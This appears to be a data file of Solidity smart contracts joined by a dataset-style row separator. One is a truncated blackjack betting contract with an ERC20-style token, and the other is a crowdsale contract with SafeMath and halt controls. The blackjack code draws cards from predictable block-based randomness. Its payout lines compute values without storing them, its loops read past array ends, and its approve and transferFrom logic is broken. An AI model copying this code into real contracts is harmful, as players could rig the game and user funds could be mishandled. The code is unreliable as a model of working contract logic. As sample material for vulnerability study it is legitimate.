MutiplyAmount = Im_ETHCounter*2;
if(MutiplyAmount <= TransferAmount)
{
break;
}
else
{
TransferAmount = MutiplyAmount;
}
}
msg.sender.transfer(TransferAmount);
}
}
}
contract MoneyMoney_Transection is ERC20_Interface, MoneyMoneyBank
{
function totalSupply()
public view
returns (uint)
{
return TotalERC20Amount_LuToken;
}
function balanceOf(address tokenOwner)
public view
returns (uint balance)
{
uint UserId = Mapping__UserAddress_UserId[tokenOwner];
uint ERC20_Amount = Mapping__OwnerUserId_ERC20Amount[UserId];
return ERC20_Amount;
}
function allowance(address tokenOwner, address spender)
public view
returns (uint remaining)
{
uint ERC20TokenOwnerId = Mapping__UserAddress_UserId[tokenOwner];
uint ERC20TokenSpenderId = Mapping__UserAddress_UserId[spender];
uint Allowance_Remaining = Mapping__OwnerUserIdAlloweUserId_ERC20Amount[ERC20TokenOwnerId][ERC20TokenSpenderId];
return Allowance_Remaining;
}
function transfer(address to, uint tokens)
public whenNotPaused
returns (bool success)
{
require(balanceOf(msg.sender) >= tokens);
uint Sender_UserId = Mapping__UserAddress_UserId[msg.sender];
require(Mapping__OwnerUserId_ERC20Amount[Sender_UserId] >= tokens);
uint Transfer_to_UserId = Mapping__UserAddress_UserId[to];
Mapping__OwnerUserId_ERC20Amount[Sender_UserId] = Mapping__OwnerUserId_ERC20Amount[Sender_UserId] - tokens;
Mapping__OwnerUserId_ERC20Amount[Transfer_to_UserId] = Mapping__OwnerUserId_ERC20Amount[Transfer_to_UserId] + tokens;
emit Transfer
(
{from: msg.sender,
to: to,
tokens: tokens}
);
return true;
}
function approve(address spender, uint tokens)
public whenNotPaused
returns (bool success)
{
require(balanceOf(msg.sender) >= tokens);
uint Sender_UserId = Mapping__UserAddress_UserId[msg.sender];
uint Approve_to_UserId = Mapping__UserAddress_UserId[spender];
Mapping__OwnerUserId_ERC20Amount[Sender_UserId] = Mapping__OwnerUserId_ERC20Amount[Sender_UserId] - tokens;
Mapping__OwnerUserIdAlloweUserId_ERC20Amount[Sender_UserId][Approve_to_UserId] = Mapping__OwnerUserIdAlloweUserId_ERC20Amount[Sender_UserId][Approve_to_UserId] + tokens;
emit Approval
(
{tokenOwner: msg.sender,
spender: spender,
tokens: tokens}
);
return true;
}
function transferFrom(address from, address to, uint tokens)
public whenNotPaused
returns (bool success)
{
uint Sender_UserId = Mapping__UserAddress_UserId[from];
uint Approver_UserId = Mapping__UserAddress_UserId[msg.sender];
uint Transfer_to_UserId = Mapping__UserAddress_UserId[to];
require(Mapping__OwnerUserIdAlloweUserId_ERC20Amount[Sender_UserId][Approver_UserId] >= tokens);
Mapping__OwnerUserIdAlloweUserId_ERC20Amount[Sender_UserId][Approver_UserId] = Mapping__OwnerUserIdAlloweUserId_ERC20Amount[Sender_UserId][Approver_UserId] - tokens;
Mapping__OwnerUserId_ERC20Amount[Transfer_to_UserId] = Mapping__OwnerUserId_ERC20Amount[Transfer_to_UserId] + tokens;
emit Transfer
(
{from: msg.sender,
to: to,
tokens: tokens}
);
return true;
}
}
contract Blackjack_Functionality is MoneyMoney_Transection
{
function Initialize_UserAccount (uint _UserId, string memory _UserName, string memory _UserDescription)
internal
returns (uint UserId, address UserAddress, string memory UserName, string memory UserDescription)
{
address Im_UserAddress = msg.sender;
Mapping__UserAddress_UserId[Im_UserAddress] = UserId;
Mapping__UserId_UserAccountStruct[UserId] = User_AccountStruct
(
{UserId: _UserId,
UserAddress: Im_UserAddress,
UserName: _UserName,
UserDescription: _UserDescription}
);
emit Create_UserAccountEvent
(
{_UserIdEvent: _UserId,
_UserAddressEvent: Im_UserAddress,
_UserNameEvent: _UserName,
_UserDescriptionEvent: _UserDescription}
);
return (_UserId, Im_UserAddress, _UserName, _UserDescription);
}
function Initialize_Game
(
uint _GameId,
uint[] memory _Player_UserIds,
uint _Dealer_UserId,
uint _MIN_BettingLimit,
uint _MAX_BettingLimit
)
internal
returns(bool _Success)
{
uint[] memory NewGame_Rounds;
NewGame_Rounds[0] = ImCounter_GameRoundId;
ImCounter_GameRoundId = ImCounter_GameRoundId + 1 ;
Mapping__GameUnitId_GameUnitStruct[_GameId] = Game_Unit
(
{Game_UnitId: _GameId,
Player_UserIds: _Player_UserIds,
Dealer_UserId: _Dealer_UserId,
MIN_BettingLimit: _MIN_BettingLimit,
MAX_BettingLimit: _MAX_BettingLimit,
Game_RoundsIds: NewGame_Rounds}
);
emit Initialize_GameEvent
(
{_GameIdEvent: _GameId,
_Player_UserIdsEvent: _Player_UserIds,
_Dealer_UserIdEvent: _Dealer_UserId,
_MIN_BettingLimitEvent: _MIN_BettingLimit,
_MAX_BettingLimitEvent: _MAX_BettingLimit}
);
return true;
}
function Bettings(uint _GameId, uint _Im_BettingsERC20Ammount)
internal whenNotPaused
returns (uint GameId, uint GameRoundId, uint BettingAmount)
{
uint[] memory _Im_Game_RoundIds = Mapping__GameUnitId_GameUnitStruct[_GameId].Game_RoundsIds;
uint CurrentGameRoundId = _Im_Game_RoundIds[_Im_Game_RoundIds.length -1];
address _Im_Player_Address = msg.sender;
uint _Im_Betting_UserId = Mapping__UserAddress_UserId[_Im_Player_Address];
Mapping__GameRoundIdUserId_Bettings[CurrentGameRoundId][_Im_Betting_UserId] = _Im_BettingsERC20Ammount;
emit BettingsEvent
(
{_GameIdEvent: _GameId,
_GameRoundIdEvent: CurrentGameRoundId,
_UserIdEvent: _Im_Betting_UserId,
_BettingAmountEvent: _Im_BettingsERC20Ammount}
);
return (_GameId, CurrentGameRoundId, _Im_BettingsERC20Ammount);
}
function Initialize_Round (uint _ImGameRoundId, uint[] memory _Player_UserIds )
internal
returns(uint _New_GameRoundId)
{
uint[] memory _New_CardInDealer;
uint[] memory _New_CardInBoard;
Mapping__GameRoundId_GameRoundStruct[_ImGameRoundId] = Game_Round_Unit
(
{GameRoundId: _ImGameRoundId,
Cards_InDealer: _New_CardInDealer,
Cards_Exsited: _New_CardInBoard}
);
for(uint Im_UserIdCounter = 0 ; Im_UserIdCounter < _Player_UserIds.length; Im_UserIdCounter++)
{
Mapping__GameRoundId_GameRoundStruct[_ImGameRoundId].Mapping__Index_PlayUnitStruct[Im_UserIdCounter] = Initialize_PlayUnit
(
{_GameRoundId: _ImGameRoundId,
_UserId: _Player_UserIds[Im_UserIdCounter],
_Betting: Mapping__GameRoundIdUserId_Bettings[_ImGameRoundId][_Player_UserIds[Im_UserIdCounter]]}
);
}
_New_CardInDealer = GetCard({_Im_GameRoundId: _ImGameRoundId, _Im_Original_CardInHand: _New_CardInDealer});
Mapping__GameRoundId_GameRoundStruct[_ImGameRoundId].Cards_InDealer = _New_CardInDealer;
emit Initialize_GameRoundEvent
(
{_PlayerUserIdSetEvent: _Player_UserIds,
_GameRoundIdEvent: _ImGameRoundId}
);
return (_ImGameRoundId);
}
function Initialize_PlayUnit (uint _GameRoundId, uint _UserId, uint _Betting)
internal
returns(Play_Unit memory _New_PlayUnit)
{
uint[] memory _Cards_InHand;
_Cards_InHand = GetCard({_Im_GameRoundId: _GameRoundId,_Im_Original_CardInHand: _Cards_InHand});
_Cards_InHand = GetCard({_Im_GameRoundId: _GameRoundId,_Im_Original_CardInHand: _Cards_InHand});
Play_Unit memory Im_New_PlayUnit = Play_Unit({Player_UserId: _UserId , Bettings: _Betting, Cards_InHand: _Cards_InHand});
emit Initialize_GamePlayUnitEvent
(
{_PlayerUserIdEvent: _UserId,
_BettingsEvent: _Betting,
_Cards_InHandEvent: _Cards_InHand}
);
return Im_New_PlayUnit;
}
function GetCard (uint _Im_GameRoundId, uint[] memory _Im_Original_CardInHand )
internal
returns (uint[] memory _Im_Afterward_CardInHand )
{
uint[] storage Im_CardsOnBoard = Mapping__GameRoundId_GameRoundStruct[_Im_GameRoundId].Cards_Exsited;
uint Im_52_RandNumber = GetRandom_In52(now);
Im_52_RandNumber = Im_Cute_RecusiveFunction({Im_UnCheck_Number: Im_52_RandNumber, CheckNumberSet: Im_CardsOnBoard});
Mapping__GameRoundId_GameRoundStruct[_Im_GameRoundId].Cards_Exsited.push(Im_52_RandNumber);
_Im_Original_CardInHand[_Im_Original_CardInHand.length-1] = (Im_52_RandNumber);
emit GetCardEvent
(
{_GameRoundIdEvent: _Im_GameRoundId,
_GetCardsInHandEvent: _Im_Original_CardInHand}
);
return _Im_Original_CardInHand;
}
function Im_Cute_RecusiveFunction (uint Im_UnCheck_Number, uint[] memory CheckNumberSet)
internal
returns (uint _Im_Unrepeat_Number)
{
for(uint _Im_CheckCounter = 0; _Im_CheckCounter <= CheckNumberSet.length ; _Im_CheckCounter++)
{
while (Im_UnCheck_Number == CheckNumberSet[_Im_CheckCounter])
{
Im_UnCheck_Number = GetRandom_In52(Im_UnCheck_Number);
Im_UnCheck_Number = Im_Cute_RecusiveFunction(Im_UnCheck_Number, CheckNumberSet);
}
}
return Im_UnCheck_Number;
}
function GetRandom_In52(uint _Im_CuteNumber)
public view
returns (uint _Im_Random)
{
require(msg.sender != block.coinbase);
uint _Im_RandomNumber_In52 = uint(keccak256(abi.encodePacked(blockhash(block.number), msg.sender, _Im_CuteNumber))) % 52;
return _Im_RandomNumber_In52;
}
function Counting_CardPoint (uint _Card_Number)
public view
returns(uint _CardPoint)
{
uint figure = (_Card_Number%13);
uint Im_CardPoint = Im_BlackJack_CardFigureToPoint[figure];
return Im_CardPoint;
}
function Counting_HandCardPoint (uint[] memory _Card_InHand)
public view
returns(uint _TotalPoint)
{
uint _Im_Card_Number;
uint Im_AccumulatedPoints = 0;
for (uint Im_CardCounter = 0 ; Im_CardCounter < _Card_InHand.length ; Im_CardCounter++)
{
_Im_Card_Number = _Card_InHand[Im_CardCounter];
Im_AccumulatedPoints = Im_AccumulatedPoints + Counting_CardPoint(_Im_Card_Number);
}
for (uint Im_CardCounter = 0 ; Im_CardCounter < _Card_InHand.length ; Im_CardCounter++)
{
_Im_Card_Number = _Card_InHand[Im_CardCounter];
if((_Im_Card_Number%13) == 0 && Im_AccumulatedPoints <= 11)
{
Im_AccumulatedPoints = Im_AccumulatedPoints + 10;
}
}
return Im_AccumulatedPoints;
}
function Determine_Result(uint _GameId, uint _RoundId)
internal
returns (uint[] memory _WinnerUserId, uint[] memory _LoserUserId)
{
uint[] memory Im_WinnerUserIdSet;
uint[] memory Im_DrawIdSet;
uint[] memory Im_LoserIdSet;
Game_Unit memory Im_GameUnit_Instance = Mapping__GameUnitId_GameUnitStruct[_GameId];
Game_Round_Unit storage Im_GameRoundUnit_Instance = Mapping__GameRoundId_GameRoundStruct[_RoundId];
uint Im_PlayerTotalPoint;
uint Im_DealerTotalPoint = Counting_HandCardPoint({_Card_InHand: Im_GameRoundUnit_Instance.Cards_InDealer});
for(uint Im_PlayUnitCounter = 0 ; Im_PlayUnitCounter <= Im_GameUnit_Instance.Player_UserIds.length; Im_PlayUnitCounter++)
{
Im_GameRoundUnit_Instance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Cards_InHand.pop;
uint Im_PlayerUserId = Im_GameRoundUnit_Instance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Player_UserId;
Im_PlayerTotalPoint = Counting_HandCardPoint(Im_GameRoundUnit_Instance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Cards_InHand);
if(Im_PlayerTotalPoint > 21 && Im_DealerTotalPoint > 21)
{
Im_DrawIdSet[Im_DrawIdSet.length] = Im_PlayerUserId;
}
else if (Im_PlayerTotalPoint > 21)
{
Im_LoserIdSet[Im_LoserIdSet.length] = Im_PlayerUserId;
}
else if (Im_DealerTotalPoint > 21)
{
Im_WinnerUserIdSet[Im_WinnerUserIdSet.length] = Im_PlayerUserId;
}
else if (Im_PlayerTotalPoint == Im_DealerTotalPoint)
{
Im_DrawIdSet[Im_DrawIdSet.length] = Im_PlayerUserId;
}
else if (Im_DealerTotalPoint > Im_PlayerTotalPoint)
{
Im_LoserIdSet[Im_LoserIdSet.length] = Im_PlayerUserId;
}
else if (Im_PlayerTotalPoint > Im_DealerTotalPoint)
{
Im_WinnerUserIdSet[Im_WinnerUserIdSet.length] = Im_PlayerUserId;
}
}
emit Determine_GameRoundResult
(
{_GameIdEvent: _GameId,
_GameRoundIdEvent: _RoundId,
_WinnerUserIdEvent: Im_WinnerUserIdSet,
_DrawUserIdEvent: Im_DrawIdSet,
_LoserUserIdEvent: Im_LoserIdSet}
);
return (Im_WinnerUserIdSet, Im_LoserIdSet);
}
}
contract Meowent_Blackjack_GamePlay is Blackjack_Functionality
{
function Create_UserAccount (uint UserId, string memory UserName, string memory UserDescription)
public whenNotPaused
returns (uint _UserId, address _UserAddress, string memory _UserName, string memory _UserDescription)
{
require(Mapping__UserAddress_UserId[msg.sender] == 0);
(
uint Im_UserId,
address Im_UserAddress,
string memory Im_UserName,
string memory Im_UserDescription
)
= Initialize_UserAccount
(
{_UserId: UserId,
_UserName: UserName,
_UserDescription: UserDescription}
);
return (Im_UserId, Im_UserAddress, Im_UserName, Im_UserDescription);
}
function Create_AutoGame (uint AutoGame_BettingRank)
public whenNotPaused
returns (bool _SuccessMessage, uint _CreateGameId)
{
uint _Im_MIN_BettingLimit = Mapping__AutoGameBettingRank_BettingRange[AutoGame_BettingRank][0];
uint _Im_MAX_BettingLimit = Mapping__AutoGameBettingRank_BettingRange[AutoGame_BettingRank][1];
uint[] memory _Im_AutoGamePlayer_UserId;
_Im_AutoGamePlayer_UserId[0] = Mapping__UserAddress_UserId[msg.sender];
bool _Im_message = Initialize_Game({_GameId: ImCounter_AutoGameId,
_Player_UserIds: _Im_AutoGamePlayer_UserId,
_Dealer_UserId: Mapping__UserAddress_UserId[address(this)],
_MIN_BettingLimit: _Im_MIN_BettingLimit,
_MAX_BettingLimit: _Im_MAX_BettingLimit});
ImCounter_AutoGameId = ImCounter_AutoGameId + 1;
return (_Im_message, ImCounter_AutoGameId);
}
function Create_DualGame
(
uint[] memory PlayerIds ,
uint MIN_BettingLimit ,
uint MAX_BettingLimit
)
public whenNotPaused
returns (bool _SuccessMessage, uint _CreateGameId)
{
require(MIN_BettingLimit <= MAX_BettingLimit);
uint _Im_DualGameCreater_UserId = Mapping__UserAddress_UserId[msg.sender];
bool _Im_message = Initialize_Game({_GameId: ImCounter_DualGameId,
_Player_UserIds: PlayerIds,
_Dealer_UserId: _Im_DualGameCreater_UserId,
_MIN_BettingLimit: MIN_BettingLimit,
_MAX_BettingLimit: MAX_BettingLimit});
ImCounter_DualGameId = ImCounter_DualGameId + 1;
return (_Im_message, ImCounter_DualGameId);
}
function Player_Bettings(uint GameId, uint Im_BettingsERC20Ammount)
public whenNotPaused
returns (uint _GameId, uint GameRoundId, uint BettingAmount)
{
require(Im_BettingsERC20Ammount >= Mapping__GameUnitId_GameUnitStruct[GameId].MIN_BettingLimit && Im_BettingsERC20Ammount <= Mapping__GameUnitId_GameUnitStruct[GameId].MAX_BettingLimit);
uint Im_GameId;
uint Im_GameRoundId;
uint Im_BettingAmount;
(Im_GameId, Im_GameRoundId, Im_BettingAmount) = Bettings({_GameId: GameId,_Im_BettingsERC20Ammount: Im_BettingsERC20Ammount});
return (Im_GameId, Im_GameRoundId, Im_BettingAmount);
}
function Start_NewRound(uint GameId)
public whenNotPaused
returns (uint StartRoundId)
{
Game_Unit memory Im_GameUnitData= Mapping__GameUnitId_GameUnitStruct[GameId];
uint Im_GameRoundId = Im_GameUnitData.Game_RoundsIds[Im_GameUnitData.Game_RoundsIds.length -1];
uint[] memory Im_PlayerUserIdSet = Im_GameUnitData.Player_UserIds;
uint Im_MIN_BettingLimit = Im_GameUnitData.MIN_BettingLimit;
uint Im_MAX_BettingLimit = Im_GameUnitData.MAX_BettingLimit;
if (Im_MAX_BettingLimit == 0)
{
uint Im_NewRoundId = Initialize_Round({_ImGameRoundId: Im_GameRoundId, _Player_UserIds: Im_PlayerUserIdSet});
return Im_NewRoundId;
}
else
{
for(uint Im_PlayerCounter = 0; Im_PlayerCounter <= Im_PlayerUserIdSet.length; Im_PlayerCounter++)
{
uint Im_PlayerUserId = Im_PlayerUserIdSet[Im_PlayerCounter];
uint Im_UserBettingAmount = Mapping__GameRoundIdUserId_Bettings[Im_GameRoundId][Im_PlayerUserId];
require(Im_UserBettingAmount >= Im_MIN_BettingLimit && Im_UserBettingAmount <= Im_MAX_BettingLimit);
emit CheckBetting_Anouncement
(
{GameRoundId: Im_GameRoundId,
UserId: Im_PlayerUserId,
UserBettingAmount: Im_UserBettingAmount,
MinBettingLimit: Im_MIN_BettingLimit,
MaxBettingLimit: Im_MAX_BettingLimit}
);
}
uint Im_NewRoundId = Initialize_Round({_ImGameRoundId: Im_GameRoundId, _Player_UserIds: Im_PlayerUserIdSet});
return Im_NewRoundId;
}
return 0;
}
function Player_HitOrStand (uint GameId, bool Hit_or_Stand)
public whenNotPaused
returns (uint[] memory NewCards_InHand)
{
Game_Unit memory Im_GameUnit_Instance = Mapping__GameUnitId_GameUnitStruct[GameId];
uint Im_RoundId = Im_GameUnit_Instance.Game_RoundsIds[Im_GameUnit_Instance.Game_RoundsIds.length -1];
Game_Round_Unit storage Im_GameRoundUnit_StorageInstance = Mapping__GameRoundId_GameRoundStruct[Im_RoundId];
for (uint Im_PlayUnitCounter = 0; Im_PlayUnitCounter <= Im_GameUnit_Instance.Player_UserIds.length; Im_PlayUnitCounter++)
{
if (Mapping__UserAddress_UserId[msg.sender] == Im_GameRoundUnit_StorageInstance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Player_UserId )
{
if (Hit_or_Stand)
{
Im_GameRoundUnit_StorageInstance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Cards_InHand = GetCard({_Im_GameRoundId: Im_RoundId, _Im_Original_CardInHand: Im_GameRoundUnit_StorageInstance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Cards_InHand});
return Im_GameRoundUnit_StorageInstance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Cards_InHand;
}
else if (Hit_or_Stand == false)
{
Im_GameRoundUnit_StorageInstance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Cards_InHand.push(1111);
return Im_GameRoundUnit_StorageInstance.Mapping__Index_PlayUnitStruct[Im_PlayUnitCounter].Cards_InHand;
}
}
}
}
function Dealer_HitOrStand (uint GameId, bool Hit_or_Stand)
public StandCheck_AllPlayer(GameId) whenNotPaused
returns (uint[] memory Cards_InDealerHand)
{
require(Mapping__UserAddress_UserId[msg.sender] == Mapping__GameUnitId_GameUnitStruct[GameId].Dealer_UserId);
Game_Unit memory Im_GameUnit_Instance = Mapping__GameUnitId_GameUnitStruct[GameId];
uint Im_RoundId = Im_GameUnit_Instance.Game_RoundsIds[Im_GameUnit_Instance.Game_RoundsIds.length -1];
Game_Round_Unit storage Im_GameRoundUnit_StorageInstance = Mapping__GameRoundId_GameRoundStruct[Im_RoundId];
uint Im_DealerUserId = Im_GameUnit_Instance.Dealer_UserId;
uint[] memory WeR_WinnerId;
uint[] memory WeR_LoserId;
if (Hit_or_Stand)
{
Im_GameRoundUnit_StorageInstance.Cards_InDealer = GetCard({_Im_GameRoundId: Im_RoundId, _Im_Original_CardInHand: Im_GameRoundUnit_StorageInstance.Cards_InDealer});
return Im_GameRoundUnit_StorageInstance.Cards_InDealer;
}
else if (Hit_or_Stand == false)
{
(WeR_WinnerId, WeR_LoserId) = Determine_Result({_GameId: GameId,_RoundId: Im_RoundId});
for(uint Im_WinnerCounter = 0; Im_WinnerCounter <= WeR_WinnerId.length ; Im_WinnerCounter++)
{
uint Im_WinnerUserId = WeR_WinnerId[Im_WinnerCounter];
uint Im_WinnerBettingAmount = Mapping__GameRoundIdUserId_Bettings[Im_RoundId][Im_WinnerUserId];
Mapping__OwnerUserId_ERC20Amount[Im_DealerUserId] - Im_WinnerBettingAmount;
Mapping__OwnerUserId_ERC20Amount[Im_WinnerUserId] + Im_WinnerBettingAmount;
}
for(uint Im_LoserCounter = 0; Im_LoserCounter <= WeR_LoserId.length ; Im_LoserCounter++)
{
uint Im_LoserUserId = WeR_WinnerId[Im_LoserCounter];
uint Im_LoserBettingAmount = Mapping__GameRoundIdUserId_Bettings[Im_RoundId][Im_LoserUserId];
Mapping__OwnerUserId_ERC20Amount[Im_DealerUserId] + Im_LoserBettingAmount;
Mapping__OwnerUserId_ERC20Amount[Im_LoserUserId] - Im_LoserBettingAmount;
}
ImCounter_GameRoundId = ImCounter_GameRoundId + 1;
Mapping__GameUnitId_GameUnitStruct[GameId].Game_RoundsIds.push(ImCounter_GameRoundId);
return Im_GameRoundUnit_StorageInstance.Cards_InDealer;
}
}
} | 1 | 4,205 |
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract CrowdsaleBase is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint newEndsAt);
State public testState;
function CrowdsaleBase(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency internal returns(uint tokensBought) {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
require(tokenAmount != 0);
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold));
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
return tokenAmount;
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
if(startsAt > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) internal;
}
contract Crowdsale is CrowdsaleBase {
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) CrowdsaleBase(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
}
